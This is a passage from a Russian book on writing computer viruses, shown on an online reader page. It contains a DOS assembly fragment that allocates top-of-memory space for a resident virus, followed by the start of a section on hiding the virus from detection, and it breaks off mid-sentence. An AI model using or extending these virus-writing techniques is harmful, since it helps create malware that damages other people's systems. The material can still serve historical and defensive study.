"Игорь Коваль. Как написать вирус" - читать интересную книгу автора ;не нужно !
; _______________________________________________ ;| Закажем свободный блок памяти,чтобы можно было| ;| записать в него резидентную часть вируса ... | ;|_______________________________________________| sub bx,vir_par + 2 ;Оставим вирусу ;на 2 параграфа ;больше, чем ;он сам занимает mov ah,4ah ;А остальная па- int 21h ;мять будет jc fresh_bytes ;занята ... mov ah,48h ;Попросим DOS ;отдать свобод- ;ный блок нам . mov bx,vir_par + 1 ;Запас в один int 21h ;параграф ... jc fresh_bytes ;Ошибка ! В приведенном фрагменте использованы функции : 4Ah - изменение размера блока памяти, а также 48h - выделение блока памяти . Об их использовании вы можете прочесть в ПРИЛОЖЕ- НИИ 1. Работа вышеприведенных команд весьма проста и осо- бых пояснений не требует .Стоит лишь заметить, что для загрузки вирусного кода выделяется область в в самом " верху " свободной оперативной памяти,что является почти обязательным для подавляющего боль- шинства вирусных программ . 2.9 Делаем вирус " незаметным " К сожалению,выбранный нами способ поиска свободно- го блока памяти имеет один скрытый недостаток .Как вы, наверное, знаете, при завершении программы DOS освобождает блок памяти, который эта программа за- нимает .Кроме того, освобождаются также все блоки, которые были распределены программе по ее запро- сам . Предположим, вирус стартовал из зараженной програ- ммы, с помощью описанных ранее функций MS DOS на- шел подходящий блок памяти и записал в него свой код, предварительно переписав на этот код те или иные прерывания .После этого он передает управле- |
|
|